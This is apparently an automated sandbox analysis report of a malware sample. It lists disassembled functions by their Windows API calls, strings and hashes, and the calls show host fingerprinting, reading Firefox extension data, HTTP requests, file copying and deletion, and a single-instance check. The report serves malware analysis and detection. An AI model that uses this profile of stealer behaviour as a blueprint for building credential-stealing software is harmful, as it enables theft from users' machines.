Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,00859578,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040AA11
lstrlenA.KERNEL32(00000000,00000000), ref: 0040AB2F
lstrlenA.KERNEL32(00000000), ref: 0040ADEC

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A560: memcmp.MSVCRT(?,v20,00000003), ref: 0040A57D

DeleteFileA.KERNEL32(00000000), ref: 0040AE73

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTimememcmp
String ID:
API String ID: 257331557-0
Opcode ID: eec284d0b5a88f82a540740c4281c89a3e1c6a54d9a9572751c757561fbc2926
Instruction ID: 5dfe8597df33c788f82f0551f3ba8d02d272d38f024b71a471f8e3c501a58f6f
Opcode Fuzzy Hash: eec284d0b5a88f82a540740c4281c89a3e1c6a54d9a9572751c757561fbc2926
Instruction Fuzzy Hash: A9E134729111089BCB04FBA5DC66EEE7339AF14314F40855EF11672091EF387A9CCB6A

Function 0040D880 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,00859578,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D901
lstrlenA.KERNEL32(00000000), ref: 0040DA9F
lstrlenA.KERNEL32(00000000), ref: 0040DAB3
DeleteFileA.KERNEL32(00000000), ref: 0040DB32

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 7bd5f3ac411db2de5bf212d4853434017e9ee78ca464616095654177d3e89e46
Instruction ID: 660f6b77f2ff2b442eb80c9f7963c7c0f8ff679996332a2a68bd7dee448c32b7
Opcode Fuzzy Hash: 7bd5f3ac411db2de5bf212d4853434017e9ee78ca464616095654177d3e89e46
Instruction Fuzzy Hash: 28812572E111089BCB04FBA5EC66DEE7339AF14314F40455FF10662095EF387A98CB6A

Function 0040F5A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
Part of subcall function 0040A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
Part of subcall function 0040A110: LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
Part of subcall function 0040A110: ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
Part of subcall function 0040A110: LocalFree.KERNEL32(00410447), ref: 0040A1E0
Part of subcall function 0040A110: CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

Part of subcall function 00418FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421678,00420D93), ref: 0040F64C
lstrlenA.KERNEL32(00000000), ref: 0040F66B

Strings

moz-extension+++, xrefs: 0040F6AD
^userContextId=4294967295, xrefs: 0040F69C

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: a0c73f19f09e3cbe126f8d16dfebc885d65037d79abe80db160791653e683023
Instruction ID: 3808d15f7e0f9f9184562117c9aa29465858450d569164ac2a98ea8b538c64df
Opcode Fuzzy Hash: a0c73f19f09e3cbe126f8d16dfebc885d65037d79abe80db160791653e683023
Instruction Fuzzy Hash: 42517E72E011089BCB04FBA1ECA6DED7339AF54304F40852EF50667195EF386A5CCB6A

Function 00411C60 Relevance: 6.1, APIs: 2, Strings: 1, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00417690: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004176D2
Part of subcall function 00417690: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041770F
Part of subcall function 00417690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417793
Part of subcall function 00417690: HeapAlloc.KERNEL32(00000000), ref: 0041779A

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 00417820: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417834
Part of subcall function 00417820: HeapAlloc.KERNEL32(00000000), ref: 0041783B

Part of subcall function 00417950: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041DEF0,000000FF,?,00411EE9,00000000,?,008610F8,00000000,?), ref: 00417982
Part of subcall function 00417950: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041DEF0,000000FF,?,00411EE9,00000000,?,008610F8,00000000,?), ref: 00417989

Part of subcall function 004179E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417A10
Part of subcall function 004179E0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417A17
Part of subcall function 004179E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00417A2F

Part of subcall function 00417A70: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416CCB), ref: 00417AA0
Part of subcall function 00417A70: HeapAlloc.KERNEL32(00000000,?,?,?,00416CCB), ref: 00417AA7
Part of subcall function 00417A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00417ABF

Part of subcall function 00417B10: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DE8,00000000,?), ref: 00417B40
Part of subcall function 00417B10: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DE8,00000000,?), ref: 00417B47
Part of subcall function 00417B10: GetLocalTime.KERNEL32(?,?,?,?,?,00420DE8,00000000,?), ref: 00417B54
Part of subcall function 00417B10: wsprintfA.USER32 ref: 00417B83

Part of subcall function 00417BC0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00860A20,00000000,?,00420DF8,00000000,?,00000000,00000000), ref: 00417BF3
Part of subcall function 00417BC0: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,00860A20,00000000,?,00420DF8,00000000,?,00000000,00000000,?), ref: 00417BFA
Part of subcall function 00417BC0: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00860A20,00000000,?,00420DF8,00000000,?,00000000,00000000,?), ref: 00417C0D

Part of subcall function 00417C90: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,00860A20,00000000,?,00420DF8,00000000,?,00000000,00000000), ref: 00417CC5

Part of subcall function 00417D20: GetKeyboardLayoutList.USER32(00000000,00000000,004205B7), ref: 00417D71
Part of subcall function 00417D20: LocalAlloc.KERNEL32(00000040,?), ref: 00417D89
Part of subcall function 00417D20: GetKeyboardLayoutList.USER32(?,00000000), ref: 00417D9D
Part of subcall function 00417D20: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417DF2
Part of subcall function 00417D20: LocalFree.KERNEL32(00000000), ref: 00417EB2

Part of subcall function 00417F10: GetSystemPowerStatus.KERNEL32(?), ref: 00417F3D

GetCurrentProcessId.KERNEL32(00000000,?,00861238,00000000,?,00420E0C,00000000,?,00000000,00000000,?,00860AB0,00000000,?,00420E08,00000000), ref: 004122CE

Part of subcall function 00419600: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419614
Part of subcall function 00419600: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00419635
Part of subcall function 00419600: CloseHandle.KERNEL32(00000000), ref: 0041963F

Part of subcall function 00417F90: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417FC7
Part of subcall function 00417F90: HeapAlloc.KERNEL32(00000000), ref: 00417FCE
Part of subcall function 00417F90: RegOpenKeyExA.KERNEL32(80000002,00859730,00000000,00020119,?), ref: 00417FEE
Part of subcall function 00417F90: RegQueryValueExA.KERNEL32(?,00861218,00000000,00000000,000000FF,000000FF), ref: 0041800F
Part of subcall function 00417F90: RegCloseKey.ADVAPI32(?), ref: 00418022

Part of subcall function 004180F0: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00418159
Part of subcall function 004180F0: GetLastError.KERNEL32 ref: 00418168

Part of subcall function 00418060: GetSystemInfo.KERNEL32(00420E14), ref: 00418090
Part of subcall function 00418060: wsprintfA.USER32 ref: 004180A6

Part of subcall function 00418290: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00860E58,00000000,?,00420E14,00000000,?,00000000), ref: 004182C0
Part of subcall function 00418290: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,00860E58,00000000,?,00420E14,00000000,?,00000000,00000000), ref: 004182C7
Part of subcall function 00418290: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 004182E8
Part of subcall function 00418290: __aulldiv.LIBCMT ref: 00418302
Part of subcall function 00418290: __aulldiv.LIBCMT ref: 00418310
Part of subcall function 00418290: wsprintfA.USER32 ref: 0041833C

Part of subcall function 00418950: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E10,00000000,?), ref: 004189BF
Part of subcall function 00418950: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E10,00000000,?), ref: 004189C6
Part of subcall function 00418950: wsprintfA.USER32 ref: 004189E0

Part of subcall function 004184B0: RegOpenKeyExA.KERNEL32(00000000,0085E4A0,00000000,00020019,00000000,004205BE), ref: 00418534

Part of subcall function 004184B0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 004185B6
Part of subcall function 004184B0: wsprintfA.USER32 ref: 004185E9
Part of subcall function 004184B0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041860B
Part of subcall function 004184B0: RegCloseKey.ADVAPI32(00000000), ref: 0041861C
Part of subcall function 004184B0: RegCloseKey.ADVAPI32(00000000), ref: 00418629

Part of subcall function 00418810: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205BF), ref: 0041885A
Part of subcall function 00418810: Process32First.KERNEL32(?,00000128), ref: 0041886E
Part of subcall function 00418810: Process32Next.KERNEL32(?,00000128), ref: 00418883
Part of subcall function 00418810: CloseHandle.KERNEL32(?), ref: 004188F1

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 004128AB

Strings

aA, xrefs: 004128D4, 00412902, 004128D7

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID: aA
API String ID: 2204142833-2414573348
Opcode ID: 664337d03eeef32a387222ffb58579b87261e93c9908aa8872e92e65af8cd91b
Instruction ID: 4f79722ab1709daed6719e9a1a5ed0a8a89ced1591e892962b9c5cf472760468
Opcode Fuzzy Hash: 664337d03eeef32a387222ffb58579b87261e93c9908aa8872e92e65af8cd91b
Instruction Fuzzy Hash: 9872ED72D15058AACB19FB91ECA1EEE733DAF10314F5042DFB11662056EF343B98CA69

Function 00416D93 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,0085DAF0,?,004210F4,?,00000000,?,004210F8,?,00000000,00420AF3), ref: 00416D6A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416D88
CloseHandle.KERNEL32(00000000), ref: 00416D99
Sleep.KERNEL32(00001770), ref: 00416DA4
CloseHandle.KERNEL32(?,00000000,?,0085DAF0,?,004210F4,?,00000000,?,004210F8,?,00000000,00420AF3), ref: 00416DBA
ExitProcess.KERNEL32 ref: 00416DC2

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: d5e1fa89fe7d5108738a6f3c91913c7127e375a878f495bce87c5ec22f141b40
Instruction ID: 8f12dcb365d2fb80f233d5f720f30c8ba2b1eb9bf2b810d0bdce41a90926edfe
Opcode Fuzzy Hash: d5e1fa89fe7d5108738a6f3c91913c7127e375a878f495bce87c5ec22f141b40
Instruction Fuzzy Hash: 46F08230B48219EFEB00BBA0EC0ABFE7375AF04705F15061BB516A51D0DBB89681CA5B

Function 00415440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DFF,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,00862828), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,008620D0,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415478

Strings

ERROR, xrefs: 004154C3
ERROR, xrefs: 0041546A

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 243c3ba6e4d083e298a404233cb39cc9641087610bb8f65c24bf72cb52f6143f
Instruction ID: 220a7b172e2a8d17d187597bbcd3bb12c7c2fc56be07e285a6b23909b802432f
Opcode Fuzzy Hash: 243c3ba6e4d083e298a404233cb39cc9641087610bb8f65c24bf72cb52f6143f
Instruction Fuzzy Hash: 6E118630A01048ABCB14FF65EC52EED33399F50354F40456EF90A5B4A2EF38AB95C65E

Function 004152A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 004152DA
lstrcatA.KERNEL32(?,00860C30), ref: 004152F8

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414B7C
Part of subcall function 00414B60: FindFirstFileA.KERNEL32(?,?), ref: 00414B93

Strings

9dA, xrefs: 0041531F, 00415344, 00415322

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID: 9dA
API String ID: 2699682494-3568425128
Opcode ID: f7895effc594b7d52b6f1f9c76fe9f72d0d10510d97b84fbaa25c1a372297da5
Instruction ID: 7a1763d3762e4bc1164bf129b3bea8c613207f41675935a6caeb9cdf66552cef
Opcode Fuzzy Hash: f7895effc594b7d52b6f1f9c76fe9f72d0d10510d97b84fbaa25c1a372297da5
Instruction Fuzzy Hash: 4E01D6B6E0520867CB14FB71EC53EDE733D9B54305F00419EB64996091EE78ABC8CBA5

Function 004108ED Relevance: 4.7, APIs: 3, Instructions: 223fileCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,0085DD50), ref: 00410922
StrCmpCA.SHLWAPI(00000000,0085DCE0), ref: 00410B79
StrCmpCA.SHLWAPI(00000000,0085DDF0), ref: 00410A0C

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

DeleteFileA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00410C35

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: DeleteFilelstrcpy
String ID:
API String ID: 273707478-0
